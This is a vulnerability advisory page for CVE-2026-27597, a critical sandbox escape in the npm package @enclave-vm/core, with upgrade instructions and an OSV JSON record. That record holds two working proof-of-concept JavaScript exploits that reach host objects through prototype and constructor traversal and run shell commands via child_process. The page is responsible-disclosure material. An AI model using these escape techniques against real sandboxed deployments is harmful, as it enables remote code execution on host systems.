CVE-2026-27597: @enclave vm/core @enclave-vm/core Is Vulnerable To Sandbox Vulnerability
CRITICALCVE-2026-27597 is a CRITICAL (CVSS 10.0) @enclave-vm/core is vulnerable to sandbox vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting @enclave vm/core libraries in the npm ecosystem. The issue involves @enclave-vm/core is vulnerable to sandbox escape. Remediation is available by upgrading affected packages to version 2.11.1.
CVE-2026-27597 at a Glance
Security Impact
CVSS: 10.0
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).
How to Fix CVE-2026-27597
To remediate this vulnerability, upgrade all affected @enclave vm/core dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @enclave-vm/core@2.11.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @enclave-vm/core
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-27597, inspect your project dependencies using npm:
npm ls @enclave-vm/core
Analyze the terminal output to locate any version of @enclave vm/core in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.11.1), your application is affected.
Note: The npm ls @enclave-vm/core command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In @enclave vm/core, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-27597 Affected @enclave vm/core Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@enclave-vm/core
|
npm |
< 2.11.1
|
2.11.1
|
References
Frequently Asked Questions
What is CVE-2026-27597?
Which @enclave vm/core versions are affected?
What version fixes CVE-2026-27597?
Is @enclave-vm/core affected?
What is the CVSS score of CVE-2026-27597?
What CWE is associated with CVE-2026-27597?
How can I check npm dependencies for CVE-2026-27597?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-f229-3862-4942",
"modified" : "2026-07-06T15:26:36Z",
"published" : "2026-02-25T17:26:23Z",
"aliases" : [ "CVE-2026-27597" ],
"summary" : "@enclave-vm/core is vulnerable to Sandbox Escape",
"details" : "## Summary\n\nIt is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE).\n\nThe issue has been fixed in version **2.11.1**.\n\n---\n\n## Details\n\nIt is possible to obtain the native `Object` constructor (instead of the `SafeObject` wrapper). This can be used to get retrieve property descriptors via `Object.getOwnPropertyDescriptors`, allowing access to properties otherwise restricted by the sandbox.\n\nWhen a memory limit is set (which is the default), `__host_memory_track__`, a host object, can be used to escape via the host function constructor.\n\nWhen this is not the case, a host reference can be obtained via Node's `nodejs.util.inspect.custom` symbol (which can be triggered, for example, through `console.log`).\n\n---\n\n## Proof of Concept\n\n### PoC 1\n\n```js\nconst { Enclave } = require(\"@enclave-vm/core\");\n\nconst enclave = new Enclave({\n securityLevel: \"SECURE\",\n toolHandler: () => {},\n});\n\nconst result = enclave.run(`\nconst op = {}[[\"__proto__\"]];\nconst ho = op[[\"constructor\"]];\n\nconst glob = ho.getOwnPropertyDescriptors(this);\n\nreturn {\n res: glob.__host_memory_track__.value[[\"constructor\"]](\"return process\")()\n .getBuiltinModule(\"child_process\")\n .execSync(\"id\")\n .toString()\n .split(\"\\\\n\"),\n};`);\n\nresult\n .then((v) => console.log(\"success\", v))\n .catch((e) => console.log(\"failure\", e));\n```\n\n---\n\n### PoC 2\n\n```js\nconst { Enclave } = require(\"@enclave-vm/core\");\n\nconst enclave = new Enclave({\n securityLevel: \"STRICT\",\n toolHandler: () => {},\n memoryLimit: 0,\n});\n\nconst result = enclave.run(`\nconst op = {}[['__proto__']];\nconst ho = op[['constructor']];\n\nconst glob = ho.getOwnPropertyDescriptors(this);\n\nconst sym = glob[['Symbol']].value.for('nodejs.util.inspect.custom');\n\nlet result;\nconst obj = {\n [sym]: (depth, option, inspect) => {\n result = inspect[['constructor']]\n [['constructor']]('return process')()\n .getBuiltinModule('child_process')\n .execSync('id')\n .toString();\n },\n};\n\nglob.__safe_console.value.log(obj);\nreturn { result }\n`);\n\nresult\n .then((v) => console.log(\"success\", v))\n .catch((e) => console.log(\"failure\", e));\n```\n\n---\n\n## Impact\n\nThis vulnerability allows a malicious actor executing untrusted code inside an Enclave instance to escape the sandbox and execute arbitrary commands on the host system.\n\nThis constitutes **Remote Code Execution (RCE)** and should be considered **Critical severity**.\n\n---\n\n## Remediation\n\nThe issue has been fixed in **v2.11.0** with the following hardening measures:\n\n* Strengthened intrinsic object isolation\n* Improved console isolation\n* Hardened host callback exposure paths\n* Closed AST validation gaps\n* Added additional defensive checks around constructor access and prototype traversal\n\nAll known escape paths demonstrated in the PoCs are now blocked.\n\nUsers are strongly advised to upgrade to **v2.11.1** or later immediately.\n\n---\n\n## Credit\n\nEnclave would like to thank **@c0rydoras** for responsibly reporting this issue and for providing detailed proof-of-concept examples.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@enclave-vm/core"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.11.1"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2.10.1"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/agentfront/enclave/security/advisories/GHSA-f229-3862-4942"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27597"
}, {
"type" : "WEB",
"url" : "https://github.com/agentfront/enclave/commit/09afbebe4cb6d0586c1145aa71ffabd2103932db"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/agentfront/enclave"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-94" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-02-25T17:26:23Z",
"nvd_published_at" : "2026-02-25T04:16:03Z"
}
}